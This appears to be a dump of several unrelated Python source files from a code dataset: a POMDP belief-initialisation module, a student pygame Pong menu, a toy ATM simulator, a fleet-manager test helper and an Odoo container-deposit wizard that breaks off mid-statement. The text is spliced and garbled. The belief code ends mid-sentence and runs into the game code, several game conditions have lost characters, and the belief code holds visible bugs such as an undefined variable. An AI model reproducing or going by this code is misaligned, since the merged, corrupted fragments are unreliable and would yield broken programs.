robot id to their initial orientation (radian).\n Assumed to be 0 if robot id not in this dictionary.\n num_particles (int): Maximum number of particles used to represent the belief\n\n Returns:\n GenerativeDistribution: the initial belief representation.\n \"\"\"\n if representation == \"histogram\":\n return _initialize_histogram_belief(dim, robot_id, object_ids, prior, robot_orientations)\n elif representation == \"particles\":\n return _initialize_particles_belief(dim, robot_id, object_ids,\n robot_orientations, num_particles=num_particles)\n else:\n raise ValueError(\"Unsupported belief representation %s\" % representation)\n\n \ndef _initialize_histogram_belief(dim, robot_id, object_ids, prior, robot_orientations):\n \"\"\"\n Returns the belief distribution represented as a histogram\n \"\"\"\n oo_hists = {} # objid -> Histogram\n width, length = dim\n for objid in object_ids:\n hist = {} # pose -> prob\n total_prob = 0\n if objid in prior:\n # prior knowledge provided. Just use the prior knowledge\n for pose in prior[objid]:\n state = ObjectState(objid, \"target\", pose)\n hist[state] = prior[objid][pose]\n total_prob += hist[state]\n else:\n # no prior knowledge. So uniform.\n for x in range(width):\n for y in range(length):\n state = ObjectState(objid, \"target\", (x,y))\n hist[state] = 1.0\n total_prob += hist[state]\n\n # Normalize\n for state in hist:\n hist[state] /= total_prob\n\n hist_belief = pomdp_py.Histogram(hist)\n oo_hists[objid] = hist_belief\n\n # For the robot, we assume it can observe its own state;\n # Its pose must have been provided in the `prior`.\n assert robot_id in prior, \"Missing initial robot pose in prior.\"\n init_robot_pose = list(prior[robot_id].keys())[0]\n oo_hists[robot_id] =\\\n pomdp_py.Histogram({RobotState(robot_id, init_robot_pose, (), None): 1.0})\n \n return MosOOBelief(robot_id, oo_hists)\n\n\ndef _initialize_particles_belief(dim, robot_id, object_ids, prior,\n robot_orientations, num_particles=100):\n \"\"\"This returns a single set of particles that represent the distribution over a\n joint state space of all objects.\n\n Since it is very difficult to provide a prior knowledge over the joint state\n space when the number of objects scales, the prior (which is\n object-oriented), is used to create particles separately for each object to\n satisfy the prior; That is, particles beliefs are generated for each object\n as if object_oriented=True. Then, `num_particles` number of particles with\n joint state is sampled randomly from these particle beliefs.\n\n \"\"\"\n # For the robot, we assume it can observe its own state;\n # Its pose must have been provided in the `prior`.\n assert robot_id in prior, \"Missing initial robot pose in prior.\"\n init_robot_pose = list(prior[robot_id].keys())[0]\n \n oo_particles = {} # objid -> Particageles\n width, length = dim\n for objid in object_ids:\n particles = [RobotState(robot_id, init_robot_pose, (), None)] # list of states; Starting the observable robot state.\n if objid in prior:\n # prior knowledge provided. Just use the prior knowledge\n prior_sum = sum(prior[objid][pose] for pose in prior[objid])\n for pose in prior[objid]:\n state = ObjectState(objid, \"target\", pose)\n amount_to_add = (prior[objid][pose] / prior_sum) * num_particles\n for _ in range(amount_to_add):\n particles.append(state)\n else:\n # no prior knowledge. So uniformly sample `num_particles` number of states.\n for _ in range(num_particles):\n x = random.randrange(0, width)\n y = random.randrange(0, length)\n state = ObjectState(objid, \"target\", (x,y))\n particles.append(state)\n\n particles_belief = pomdp_py.Particles(particles)\n oo_particles[objid] = particles_belief\n \n # Return Particles distribution which contains particles\n # that represent joint object states\n particles = []\n for _ in range(num_particles):\n object_states = {}\n for objid in oo_particles:\n random_particle = random.sample(oo_particles[objid], 1)[0]\n object_states[_id] = copy.deepcopy(random_particle)\n particles.append(MosOOState(object_states))\n return pomdp_py.Particles(particles)\n\n\n\"\"\"If `object oriented` is True, then just like histograms, there will be\none set of particles per object; Otherwise, there is a single set\nof particles that represent the distribution over a joint state space\nof all =70 and xm<=95 and ym>=150 and ym<=175:\n win.fill(COLOR)\n pygame.display.set_caption(\"Instructions\")\n display_Title(\"Instructions\", 70)\n display_Title(\"Back\", HEIGHT-50)\n pygame.display.update()\n MAINMENU = False\n INSTRUCTIONS = True \n if xm>=70 and xm<=95 and ym>=250 and ym<=275: #71, 193. 93,193. 93, 212. 71, 211\n win.fill(COLOR)\n pygame.display.set_caption(\"Settings\")\n display_Title(\"SETTINGS\", 70)\n Menu_function(settingMessages)\n display_Title(\"BACK\", HEIGHT-50)\n pygame.display.update()\n MAINMENU = False\n SETTINGS = True \n if xm>=70 and xm<=95 and ym>=350 and ym<=375: #71, 193. 93,193. 93, 212. 71, 211\n win.fill(COLOR)\n pygame.display.set_caption(\"Level 1\")\n display_Title(\"Level 1\", 70)\n display_Title(\"Back\", HEIGHT-50)\n pygame.display.update()\n MAINMENU = False\n LEVEL1 = True\n if xm>=70 and xm<=95 and ym>=450 and ym<=475: #71, 193. 93,193. 93, 212. 71, 211\n win.fill(COLOR)\n pygame.display.set_caption(\"Level 2\")\n display_Title(\"Level 2\", 70)\n display_Title(\"Back\", HEIGHT-50)\n pygame.display.update()\n MAINMENU = False\n LEVEL2 = True\n if xm>=70 and xm<=95 and ym>=550 and ym<=575: #71, 193. 93,193. 93, 212. 71, 211\n win.fill(COLOR)\n pygame.display.set_caption(\"ScoreBoard\")\n display_Title(\"Scoreboard\", 70)\n display_Title(\"Back\", HEIGHT-50)\n pygame.display.update()\n MAINMENU = False\n LEVEL2 = True\n if xm>=70 and xm<=95 and ym>=650 and ym<=675: #71, 193. 93,193. 93, 212. 71, 211\n win.fill(COLOR)\n display_Title(\"Exit\", 70)\n display_Title(\"Back\", HEIGHT-50)\n pygame.display.update()\n MAINMENU = False\n global run\n run=False\ndef SettingMenuWin(xm,ym):\n global SETTINGS\n global SCREEN\n global BACKGROUND\n global OBJECTCOLOR\n \n if xm>=70 and xm<=95 and ym>=150 and ym<=175:\n win.fill(COLOR)\n display_Title(\"Screen Size\", 70)\n display_Title(\"Back\", 750)\n pygame.display.update()\n SETTINGS = False\n SCREEN = True \n \n if xm>=70 and xm<=95 and ym>=250 and ym<=275 and flag: #71, 193. 93,193. 93, 212. 71, 211\n win.fill(COLOR)\n display_Title(\"BACKGROUND COLORS\", 70)\n display_Title(\"BACK\", 750)\n pygame.display.update()\n BACKGROUND = True\n SETTINGS = False \n if xm>=70 and xm<=95 and ym>=350 and ym<=375: #71, 193. 93,193. 93, 212. 71, 211\n win.fill(COLOR)\n display_Title(\"OBJECT COLORS\", 70)\n display_Title(\"Back\", 750)\n pygame.display.update()\n SETTINGS = False\n OBJECTCOLOR = True\n if xm>=70 and xm<=95 and ym>=450 and ym<=475: #71, 193. 93,193. 93, 212. 71, 211\n win.fill(COLOR)\n display_Title(\"SOUNDS\", 70)\n display_Title(\"Back\", 750)\n pygame.display.update()\n SETTINGS = False\n OBJECTCOLOR = True\n\ndef Menu_Back():\n win.fill(COLOR)\n display_Title(\"MAIN\", 70)\n Menu_function(mainMenu)\n pygame.display.update()\n\ndef Setting_Back():\n win.fill(COLOR)\n display_Title(\"SETTINGS\", 70)\n Menu_function(settingMessages)\n display_Title(\"Back\", HEIGHT-50)\n pygame.display.update()\n\ndef Screen_size():\n pygame.time.delay(100)\n ym=ys\n screenSize.x=xs\n xm=xs\n for i in range(0,len(squaresSize)):\n squary=squaresSize[i]\n squary.x=xm\n pygame.draw.rect(win, BLUE, squary)\n word= screenMessage[i]\n text=MENU_FONT.render(word,1,BLACK)\n win.blit(text,(xm-10,ym-40))\n pygame.display.flip()\n pygame.time.delay(100)\n xm +=200\n\ndef Background_theme():\n pygame.time.delay(100)\n ym=ys\n backgroundMessage.x=xs\n xm=xs\n for i in range(0,len(squaresSize)):\n squary=squaresSize[i]\n squary.x=xm\n pygame.draw.rect(win, BLUE, squary)\n word= backgroundMessage[i]\n text=MENU_FONT.render(word,1,BLACK)\n win.blit(text,(xm-10,ym-40))\n pygame.display.flip()\n pygame.time.delay(100)\n xm +=200\n\n\ndef level_1():\n win.blit(background, (0,0))\n pygame.display.blit\n\ndisplay_Title(\"MENU\", 40)\nMenu_function(mainMenu)\nrun=True \n# C:\\Users\\suarezm\\OneDrive - Greenhill School\\Game Design\\GameDesign2021_Fall_Ablock\\cade.py \nwhile run:\n for eve in pygame.event.get():\n if eve.type == pygame.QUIT:\n run=False\n mouse_pos=(0,0)\n if eve.type==pygame.MOUSEBUTTONDOWN:\n mouse_pressed=pygame.mouse.get_pressed()\n if mouse_pressed[0]:\n mouse_pos=pygame.mouse.get_pos()\n print(pygame.mouse.get_pos())\n xm=mouse_pos[0]\n ym=mouse_pos[1]\n if MAINMENU:\n MainMenuWin(xm,ym)\n if INSTRUCTIONS:\n myInstructions=open('instructions.txt', 'r')\n yi=150\n for line in myInstructions.readlines():\n text=INSTRUCTIONS_FONT.render(line, 1, BLACK)\n win.blit(text, (40,yi))\n pygame.display.update()\n pygame.time.delay(100)\n yi+=50\n myInstructions.close()\n if xm >335 and xm<460 and ym>745 and ym<795:\n Menu_Back()\n MAINMENU = True\n INSTRUCTIONS = False\n if SETTINGS:\n SettingMenuWin(xm,ym)\n flag=True\n if xm >335 and xm<460 and ym>HEIGHT-50 and ym450 and xm <540 and ym>200 and ym<290: \n WIDTH=600\n HEIGHT=600\n win=pygame.display.set_mode((WIDTH,HEIGHT))\n win.fill(COLOR)\n Screen_size()\n display_Title(\"Back\", HEIGHT-50)\n\n pygame.display.update()\n if xm >335 and xm<460 and ym>HEIGHT-50 and ym335 and xm<460 and ym>745 and ym<795:\n Setting_Back()\n SETTINGS = True\n SCREEN = False\n if SCOREBOARD:\n myScoreboard=open('scoreboard.txt', 'r')\n yi=150\n for line in myScoreboard.readlines():\n text=SCOREBOARD_FONT.render(line, 1, BLACK)\n win.blit(text, (40,yi))\n pygame.display.update()\n pygame.time.delay(100)\n yi+=50\n myScoreboard.close()\n if xm >335 and xm<460 and ym>745 and ym<795:\n Menu_Back()\n MAINMENU = True\n SCOREBOARD = False\n if BACKGROUND:\n Background_theme\n flag = True\n\n if xm >335 and xm<460 and ym>HEIGHT-50 and ym335 and xm<460 and ym>745 and ym<795:\n Setting_Back()\n SETTINGS = True\n OBJECTCOLOR = False\n if LEVEL1:\n #here is the game\n while carryOn:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n carryOn = False\n elif event.type==pygame.KEYDOWN:\n if event.key==pygame.K_x: #Pressing the x Key will quit the game\n carryOn = False\n \n #Moving the paddles when the use uses the arrow keys for player A or W/S keys for player B \n keys = pygame.key.get_pressed()\n if keys[pygame.K_w]:\n paddleA.moveUp(10)\n if keys[pygame.K_s]:\n paddleA.moveDown(10)\n if keys[pygame.K_UP]:\n paddleB.moveUp(10)\n if keys[pygame.K_DOWN]:\n paddleB.moveDown(10) \n \n \n all_sprites_list.update()\n \n #Checking if the ball is bouncing against any of the 4 walls\n if ball.rect.x>=690:\n scoreA += 1\n ball.velocity[0] = -ball.velocity[0]\n if ball.rect.x<=0:\n scoreB += 1\n ball.velocity[0] = -ball.velocity[0]\n if ball.rect.y>490:\n ball.velocity[1] = -ball.velocity[1]\n if ball.rect.y<0:\n ball.velocity[1] = -ball.velocity[1] \n\n if pygame.sprite.collide_mask(ball, paddleA) or pygame.sprite.collide_mask(ball, paddleB):\n ball.bounce()\n\n screen.fill(BLACK)\n # screen.blit(background1, (-200, -200))\n pygame.draw.line(screen, WHITE, [349,0], [349, 500], 5)\n\n all_sprites_list.draw(screen)\n # print(scoreA, scoreB)\n if scoreA >= 10 or scoreB >= 10:\n LEVEL1 = False\n MAINMENU = True\n\n\n #SCORE\n font = pygame.font.Font(None, 74)\n text = font.render(str(scoreA), 1, WHITE)\n screen.blit(text, (250, 10))\n text = font.render(str(scoreB), 1, WHITE)\n screen.blit(text, (420, 10))\n\n pygame.display.flip()\n\n clock.tick(60)\n\n # put the restart game and back button to main menu here. Insert any sprite that you want. \n # do not put the play again button in the game screen. Go back to main menu before doing back or play again. \n\n pygame.quit()\n\n if xm >335 and xm<460 and ym>745 and ym<795:\n Menu_Back()\n MAINMENU = True\n LEVEL1 = False\n if LEVEL2:\n #Play game\n while carryOn:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n carryOn = False\n elif event.type==pygame.KEYDOWN:\n if event.key==pygame.K_x: #Pressing the x Key will quit the game\n carryOn=False\n \n #Moving the paddles when the use uses the arrow keys for player A or W/S keys for player B \n keys = pygame.key.get_pressed()\n if keys[pygame.K_w]:\n paddleA.moveUp(5)\n if keys[pygame.K_s]:\n paddleA.moveDown(5)\n if keys[pygame.K_UP]:\n paddleB.moveUp(5)\n if keys[pygame.K_DOWN]:\n paddleB.moveDown(5) \n \n \n all_sprites_list.update()\n \n #Checking if the ball is bouncing against any of the 4 walls\n if ball.rect.x>=690:\n scoreA += 1\n ball.velocity[0] = -ball.velocity[0]\n if ball.rect.x<=0:\n scoreB += 1\n ball.velocity[0] = -ball.velocity[0]\n if ball.rect.y>490:\n ball.velocity[1] = -ball.velocity[1]\n if ball.rect.y<0:\n ball.velocity[1] = -ball.velocity[1] \n\n if pygame.sprite.collide_mask(ball, paddleA) or pygame.sprite.collide_mask(ball, paddleB):\n ball.bounce()\n\n screen.fill(BLACK)\n pygame.draw.line(screen, WHITE, [349,0], [349, 500], 5)\n\n all_sprites_list.draw(screen)\n\n #SCORE\n font = pygame.font.Font(None, 74)\n text = font.render(str(scoreA), 1, WHITE)\n screen.blit(text, (250, 10))\n text = font.render(str(scoreB), 1, WHITE)\n screen.blit(text, (420, 10))\n\n pygame.display.flip()\n\n clock.tick(60)\n\n pygame.quit()\n if xm >335 and xm<460 and ym>745 and ym<795:\n Menu_Back()\n MAINMENU = True\n LEVEL2 = False","repo_name":"ravivasan/Game_Design_A_Block","sub_path":"Final Game/windowsPygameFonts.py","file_name":"windowsPygameFonts.py","file_ext":"py","file_size_in_byte":18232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17780225699","text":"from datetime import datetime\nfrom threading import Timer\n\nclass Account:\n __balance: float = 0\n \n def get_balance(self) -> float:\n return float(Account.__balance)\n \n def update_balance(self, new_balance) -> None:\n Account.__balance = new_balance\n\n#Transaction class contains information\n#related to any actions done at the ATM.\nclass Transaction:\n transaction_type: str = None\n overdraft_fee = 5\n \n def __init__(self):\n self.database = BankDatabase()\n \n def save_history(self, amount: float, balance_after_transaction: float):\n now = datetime.now()\n timeframe = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n account_id = self.database.user_authorized\n #[2] is used to access the previous transaction history\n BankDatabase.account_list[account_id][2].append(f\"{timeframe} {amount} {balance_after_transaction}\")\n \n def get_history(self):\n #Check if any transaction history exists\n if not len(BankDatabase.account_list[BankDatabase.user_authorized][2]):\n print(\"No history found\")\n return False\n else:\n \n BankDatabase.account_list[BankDatabase.user_authorized][2].reverse()\n #Print each transaction history\n for transaction in BankDatabase.account_list[BankDatabase.user_authorized][2]:\n print(transaction)\n \n def execute_transaction(self, transaction_type:str, amount:float, avaiable_cash: float):\n balance = self.database.get_balance()\n if transaction_type == \"withdraw\":\n #Check if the account has been overdrawn\n if balance < 0:\n print(\"Your account is overdrawn! You may not make withdrawals at this time.\")\n else:\n balance -= amount\n #If this transaction causes the account to be overdrawn\n #then take an extra $5 from the acount\n if balance < 0:\n balance -= Transaction.overdraft_fee\n \n avaiable_cash -= amount\n Transaction.save_history(self, amount*-1, balance)\n print(f\"Amount dispensed: {amount}\")\n \n elif transaction_type == \"deposit\":\n balance += amount\n avaiable_cash += amount\n Transaction.save_history(self, amount, balance)\n \n self.database.update_balance(balance)\n return avaiable_cash\n \nclass BankDatabase:\n #account_list contains every account that is registered\n #Each account consist of their account id, pin #, balance \n #and any transaction history. \n \n #To access any account based \n #off their account number use account_list[account_id]\n #To access a specific information about the card do\n #account_list[account_id][x] where x can be the following:\n #0 - pin\n #1 - balance\n #2 - previous transaction history(if any)\n #Format of account_list:\n #account_id: [pin, balance, [list_containing_history] ]\n account_list = {\"2859459814\": [\"7386\",\"10.24\", []],\n \"1434597300\": [\"4557\",\"90000.55\", []], \n \"7089382418\": [\"0075\",\"0.00\", []], \n \"2001377812\": [\"5950\",\"60.00\", []],\n \"1\":[\"1\",\"1\", []]\n }\n user_authorized: bool = None\n \n def __init__(self):\n self.account = Account()\n \n def is_authorized(self) -> bool:\n return BankDatabase.user_authorized\n \n def get_balance(self):\n return self.account.get_balance()\n \n def update_balance(self, new_balance: float):\n self.account.update_balance(new_balance)\n \n def update_history(self, account_id, history):\n BankDatabase.account_list[account_id][2].append(history)\n \n def add_new_account(self, account_id: int, pin: int, balance: float):\n empty_list = []\n BankDatabase.account_list.update({account_id:[pin, balance, empty_list]})\n \n def authorize_user(self, account_id: int, pin: int) -> bool:\n if BankDatabase.user_authorized != None:\n print(\"Authorization failed.\")\n else:\n #Checks if the account id and pin are in the database\n if account_id in BankDatabase.account_list and pin in BankDatabase.account_list[account_id] :\n current_account_balance = BankDatabase.account_list[account_id][1]\n current_account_history = BankDatabase.account_list[account_id][2]\n \n BankDatabase.update_balance(self, current_account_balance)\n BankDatabase.user_authorized = account_id\n \n print(f\"{account_id} successfully authorized.\")\n else:\n print(\"Authorization failed.\")\n \n #Unauthorizes the current user before logging out\n def logout(self):\n account_id = BankDatabase.user_authorized\n BankDatabase.user_authorized = None\n print(f\"{account_id} logged out\")\n \nclass ATM:\n #user_authorized states whether the ATM was able to authorize the user\n #If this is false then the user won't be able to use the ATM for\n #accessing account balance or withdrawing/depositing. Since no one \n #is using the ATM, its currently set to False until the user comes in\n #user_authorized: bool = None\n __total_amount: float = 10000\n \n def __init__(self):\n self.database = BankDatabase()\n self.transaction = Transaction()\n \n #ATM communicates with the database to create a new account\n def signup(self, account_id: int, pin: int, balance: float):\n self.database.add_new_account(account_id, pin, balance)\n \n def authorize(self, account_id: int, pin: int):\n self.database.authorize_user(account_id, pin)\n \n def access_authorization_level(self):\n return self.database.is_authorized()\n \n def get_available_cash() -> float:\n return ATM.__total_amount\n \n def update_available_cash(self, new_total_amount: float) -> None:\n ATM.__total_amount = new_total_amount\n \n def select_transaction(self, transaction_type: str, amount: float):\n #Get total cash value current in ATM\n available_cash = ATM.get_available_cash()\n if transaction_type == \"withdraw\":\n #Check if the user tries to withdraw in non $20 bills\n if amount % 20 != 0:\n print(\"The withdrawal amount must be in 20s\")\n #Check if ATM has any money\n elif not available_cash:\n print(\"Unable to process your withdrawal at this time\")\n #Check if user tries to take more money than the ATM currently has\n elif amount > available_cash:\n print(\"Unable to dispense full amount requested at this time.\")\n else:\n #Withdraw\n new_total_amount = self.transaction.execute_transaction(transaction_type, amount, available_cash)\n #Update total cash in ATM\n ATM.update_available_cash(self, new_total_amount)\n #Deposit\n else:\n new_total_amount = self.transaction.execute_transaction(transaction_type, amount, available_cash)\n ATM.update_available_cash(self, new_total_amount)\n \n #Prints account balance\n def print_balance(self):\n print(f\"Current balance: ${self.database.get_balance()}\")\n \n def print_history(self):\n self.transaction.get_history()\n #ATM communicates with the database to log the current user out\n def logout(self):\n self.database.logout()\n\n\ndef main():\n \n AtmObj = ATM()\n \n #Keep running ATM until END is entered\n while True:\n #The purpose of this code is to logout after 2 minutes\n #If no activity has been done.\n #I have commented this functionality out because it hasn't been\n #fully tested\n #user_authorized = AtmObj.access_authorization_level()\n #if user_authorized: - We can only logout if theres an active acc\n #timeout = 120\n #t = Timer(timeout, AtmObj.logout) -\n #t.start() -Waits 2 minutes for a response before logging out\n ########################################################\n \n choice = list(input(\"Input: \").split())\n \n if choice[0] == \"authorize\":\n AtmObj.authorize(choice[1], choice[2])\n \n elif choice[0] == \"withdraw\" or choice[0] ==\"deposit\":\n \n user_authorized = AtmObj.access_authorization_level()\n try:\n if user_authorized != None:\n transaction_action = choice[0]\n amount = float(choice[1])\n AtmObj.select_transaction(transaction_action, amount)\n else:\n print(\"Authorization required.\")\n except:\n print(\"Bad input. Please try again\")\n \n elif choice[0] == \"balance\":\n user_authorized = AtmObj.access_authorization_level()\n if user_authorized != None:\n AtmObj.print_balance()\n else:\n print(\"Authorization required.\")\n \n elif choice[0] == \"history\":\n user_authorized = AtmObj.access_authorization_level()\n if user_authorized != None:\n AtmObj.print_history()\n else:\n print(\"Authorization required.\")\n \n elif choice[0] == \"logout\":\n user_authorized = AtmObj.access_authorization_level()\n if user_authorized != None:\n AtmObj.logout()\n else:\n print(\"No account is currently authorized\")\n \n elif choice[0] == \"end\":\n break\n \n elif choice[0] == \"signup\":\n account_id = choice[1]\n pin = choice[2]\n balance = choice[3]\n AtmObj.signup(account_id, pin, balance)\n \n else:\n print(f\"{choice} is not a valid input. Please try again\")\n \n #Spacing for each input \n print(\"\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"hdar1993/ATM-design-problem","sub_path":"atm.py","file_name":"atm.py","file_ext":"py","file_size_in_byte":10238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25442499800","text":"import typing\nfrom unittest.mock import MagicMock\n\nfrom kuber.latest import core_v1\n\nfrom manager import _configs\nfrom manager import _types\n\n\ndef make_fleet_node(\n name: str,\n requirements: _types.FleetRequirements,\n is_unblocked: bool = False,\n state: str = _configs.ACTIVE_STATE,\n resource: typing.Union[core_v1.Node, MagicMock] = None,\n instance_id: str = None,\n seconds_old: float = 3600,\n pods: dict = None,\n):\n \"\"\"Create a Mock fleet node for testing.\"\"\"\n default_pods = {\n \"foo:bar\": _types.CapacityItem(\n pod_id=\"foo:bar\",\n sector=requirements.sector,\n size=None,\n memory=123123123,\n cpu=1,\n pod=MagicMock(),\n status=MagicMock(),\n )\n }\n return _types.FleetNode(\n name=name,\n seconds_old=seconds_old,\n instance_id=instance_id or name,\n requirements=requirements,\n is_unblocked=is_unblocked,\n state=state,\n resource=resource or MagicMock(),\n pods=pods or default_pods,\n )\n\n\ndef make_fleet(\n requirements: \"_types.FleetRequirements\",\n capacity: int = 1,\n) -> \"_types.Fleet\":\n \"\"\"Create a mock Fleet from requirements.\"\"\"\n return _types.Fleet(\n identifier=\"123abc\",\n requirements=requirements,\n capacity=capacity,\n tags={\n \"size\": requirements.size,\n \"sector\": requirements.sector,\n \"fleet\": requirements.name,\n },\n )\n","repo_name":"rocketboosters/kluster-fleet-manager","sub_path":"manager/tests/_utils.py","file_name":"_utils.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70226773546","text":"import datetime\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import ValidationError\n\n\nclass ContainerDeposit(models.TransientModel):\n _name = \"container.deposit\"\n _description = \"Container Deposit of Shipment Operation\"\n\n payment_date = fields.Date(string=\"Payment Date\", required=True,\n default=fields.Date.context_today)\n amount = fields.Monetary(currency_field='currency_id', compute='_compute_amount', readonly=False,store=True)\n communication = fields.Char(string=\"Memo\", store=True, readonly=False,)\n company_id = fields.Many2one('res.company', store=True, copy=False,\n default=lambda self: self.env.company)\n currency_id = fields.Many2one('res.currency', string='Currency', store=True, readonly=False,\n compute='_compute_currency_id',\n help=\"The payment's currency.\")\n journal_id = fields.Many2one('account.journal', store=True, readonly=False, compute='_compute_journal_id',\n domain=\"[('company_id', '=', company_id), ('type', 'in', ('bank', 'cash'))]\")\n company_currency_id = fields.Many2one('res.currency', string=\"Company Currency\",\n related='company_id.currency_id')\n account_id = fields.Many2one('account.account', store=True, readonly=False, compute='_compute_account_id',\n domain=\"[('company_id', '=', company_id), ('user_type_id', '=', 19)]\",\n help=\"Debit Account when Register Deposit. Credit Account when Refund Deposit.\")\n refund_deposit_qty = fields.Integer(string=\"Qty\", compute='_compute_amount', readonly=False,store=True,\n help=\"Deposti QTY when Register Deposit. Refund QTY when Refund Deposit.\")\n source_qty = fields.Integer(compute='_compute_from_shipment', readonly=False,)\n source_amount = fields.Monetary(string=\"Amount to Pay (company currency)\", copy=False,\n currency_field='currency_id', compute='_compute_from_shipment')\n # Technical field to calculate the remaining refund deposit container amount in case of multiple refund time\n remaining_refund_amount = fields.Float(compute='_compute_remaining_amount')\n\n @api.depends('journal_id')\n def _compute_currency_id(self):\n for wizard in self:\n wizard.currency_id = wizard.journal_id.currency_id or wizard.company_id.currency_id\n\n @api.depends('company_id')\n def _compute_account_id(self):\n for wizard in self:\n domain = [\n ('user_type_id', '=', 19),\n ('company_id', '=', wizard.company_id.id),\n ]\n account = self.env['account.account'].search(domain, limit=1)\n wizard.account_id = account\n\n @api.depends('company_id')\n def _compute_journal_id(self):\n for wizard in self:\n domain = [\n ('type', 'in', ('bank', 'cash')),\n ('company_id', '=', wizard.company_id.id),\n ]\n journal = self.env['account.journal'].search(domain, limit=1)\n wizard.journal_id = journal\n\n @api.depends('company_id')\n def _compute_from_shipment(self):\n shipments = self.env['operation.shipment'].browse(\n self._context.get('active_ids', [])\n )\n for wizard in self:\n wizard.source_amount = shipments.total_deposit_amount\n wizard.source_qty = shipments.total_container_qty\n return wizard.source_amount, wizard.source_qty\n\n @api.depends('company_id')\n def _compute_remaining_amount(self):\n shipments = self.env['operation.shipment'].browse(\n self._context.get('active_ids', [])\n )\n for wizard in self:\n wizard.remaining_refund_amount = shipments.refund_container_remain_amount\n\n\n @api.depends('source_amount', 'source_qty', 'remaining_refund_amount')\n def _compute_amount(self):\n for wizard in self:\n wizard.amount, wizard.refund_deposit_qty = wizard._compute_from_shipment()\n shipments = self.env['operation.shipment'].browse(self._context.get('active_ids', []))\n context = self._context\n if context.get('refund_deposit_container'):\n if wizard.remaining_refund_amount != 0.0 and wizard.remaining_refund_amount < wizard.source_amount:\n wizard.amount = wizard.remaining_refund_amount\n if wizard.remaining_refund_amount == wizard.source_amount:\n wizard.amount = 0\n wizard.source_qty = 0\n\n # Added Container Deposit Amounts to Shipping Expense Line with To Confirm Status\n def register_container_deposit(self):\n shipments = self.env['operation.shipment'].browse(\n self._context.get('active_ids', [])\n )\n if self.amount == 0.0:\n raise ValidationError(_('Please make sure that Total Amount is not 0.0!'))\n\n if self.amount > self.source_amount:\n raise ValidationError(_('The current amount is bigger than the original amount!'))\n\n for shipment in shipments:\n if shipment.container_deposit_qty == 0:\n raise ValidationError(_('Please make sure that Container Qty is not 0!'))\n\n if shipment.container_deposit_move_id:\n raise ValidationError(_('There is a Journal Entry linked to this deposit already.'))\n else:\n debit_vals = {\n 'name': 'Deposit Containers: ' + shipments.name,\n 'account_id': self.account_id.id,\n 'journal_id': self.journal_id.id,\n 'date': self.payment_date,\n 'debit': self.amount > 0.0 and self.amount or 0.0,\n 'credit': self.amount < 0.0 and -self.amount or 0.0,\n }\n credit_vals = {\n 'name': 'Deposit Containers: ' + shipments.name,\n 'account_id': self.journal_id.default_account_id.id,\n 'journal_id': self.journal_id.id,\n 'date': self.payment_date,\n 'debit': self.amount < 0.0 and -self.amount or 0.0,\n 'credit': self.amount > 0.0 and self.amount or 0.0,\n }\n vals = {\n 'shipment_id': shipment.id,\n 'narration': self.communication,\n 'ref': 'Deposit Containers: '+ shipments.name,\n 'journal_id': self.journal_id.id,\n 'date': self.payment_date,\n 'line_ids': [(0, 0, debit_vals), (0, 0, credit_vals)]\n }\n shipping_line_vals = {\n 'shipment_id': shipment.id,\n 'account_id': self.account_id.id,\n 'description': 'Deposit Containers',\n 'qty': self.refund_deposit_qty, # Contatienr QTY To Deposit\n 'unit_price': self.amount / self.refund_deposit_qty,\n 'state': 'draft',\n 'requester_user_id': self.env.user.id,\n 'requested_date': datetime.datetime.today(),\n }\n shipping_line = self.env['shipment.expense.shipping.line'].create(shipping_line_vals)\n shipment.container_deposit_date = datetime.datetime.today()\n return True\n\n # Added Refund Container Deposit Amounts to Shipping Expense Line with Paid Status\n def refund_deposit_container(self):\n shipments = self.env['operation.shipment'].browse(\n self._context.get('active_ids', [])\n )\n if self.amount == 0.0:\n raise ValidationError(_('Please make sure that Total Amount is not 0.0!'))\n\n if self.refund_deposit_qty == 0:\n raise ValidationError(_('Please make sure that Refund Qty is not 0.0!'))\n\n if self.source_amount == self.remaining_refund_amount:\n raise ValidationError(_('Total Deposit Container and Total Refund Deposit Container are equal!'))\n\n if self.amount > self.source_amount or (self.amount > self.remaining_refund_amount and self.remaining_refund_amount != 0):\n raise ValidationError(_('You cannot register amount that is bigger that the deposit amount or remaining amount!'))\n\n for shipment in shipments:\n debit_vals = {\n 'name': 'Refund Deposit Containers: ' + shipments.name,\n 'account_id': self.journal_id.default_account_id.id,\n 'journal_id': self.journal_id.id,\n 'date': self.payment_date,\n 'debit': self.amount > 0.0 and self.amount or 0.0,\n 'credit': self.amount < 0.0 and -self.amount or 0.0,\n }\n credit_vals = {\n 'name': 'Refund Deposit Containers: ' + shipments.name,\n 'account_id': self.account_id.id,\n 'journal_id': self.journal_id.id,\n 'date': self.payment_date,\n 'debit': self.amount < 0.0 and -self.amount or 0.0,\n 'credit': self.amount > 0.0 and self.amount or 0.0,\n }\n vals = {\n 'shipment_id': shipment.id,\n 'narration': self.communication,\n 'ref': 'Refund Deposit Containers: '+ shipments.name,\n 'journal_id': self.journal_id.id,\n 'date': self.payment_date,\n 'line_ids': [(0, 0, debit_vals), (0, 0, credit_vals)]\n }\n shipping_line_vals = {\n 'shipment_id': shipment.id,\n 'account_id': self.account_id.id,\n 'description': 'Refund Deposit Containers',\n 'qty': self.refund_deposit_qty, # Contatienr QTY To Refund\n 'unit_price': - (self.amount / self.refund_deposit_qty),\n 'state': 'paid',\n 'requester_user_id': self.env.user.id,\n 'paid_user_id': self.env.user.id,\n 'paid_date': self.payment_date,\n }\n move = self.env['account.move'].create(vals)\n move.post()\n shipping_line = self.env['shipment.expense.shipping.line'].create(shipping_line_vals)\n shipping_line.move_id = move.id\n shipment.refund_container_deposit_date = move.date\n shipment.refund_container_deposit_move_ids += move\n shipment.refund_container_deposit_qty += self.refund_deposit_qty\n if shipment.refund_container_deposit_qty > shipment.container_deposit_qty:\n shipment.refund_container_deposit_qty = shipment.container_deposit_qty\n return 